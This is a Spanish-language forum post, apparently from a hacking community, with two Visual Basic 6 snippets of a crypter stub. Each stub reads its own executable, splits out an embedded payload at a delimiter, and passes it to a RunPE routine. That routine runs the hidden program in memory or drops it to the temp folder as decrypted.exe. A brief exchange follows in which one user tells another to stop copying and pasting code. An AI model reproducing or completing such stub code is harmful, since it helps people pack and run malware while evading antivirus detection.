Código: Seleccionar todo
Public Sub Main()
Dim sStub As String, sFile() As Byte
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
sFile() = Split(sStub, FileSplit)(1)
Open Environ("tmp") & "\decrypted.exe" For Binary As #1
Put #1, , RunPe(sFile())
Close #1
End Sub
Código: Seleccionar todo
Public Sub Main()
Dim sStub As String, Archivo As String, m3m0() As Byte, FileSplit As String
FileSplit = "akiponesloquekieras"
Open App.Path & "\" & App.EXEName & ".exe" For Binary As #1
sStub = Space(LOF(1))
Get #1, , sStub
Close #1
Archivo = Split(sStub, FileSplit)(1)
m3m0() = StrConv(Archivo, VbFromUnicode)
Call RunPE(App.Path & "\" & App.ExeName & ".exe", m3m0())
End Sub
Ejemplar Ahora bien, si el resto -ellos saben bien quienes son- fuera tan íntegros como vos y se sacaran la careta...m3m0_11 escribió:Deja de hacer Copy & Paste, aprende primero lo fácil, estas empezando la casa por el Tejado, no lo digo por ti, tambien me paso a mi, queria hacer cosas grandes sin saber
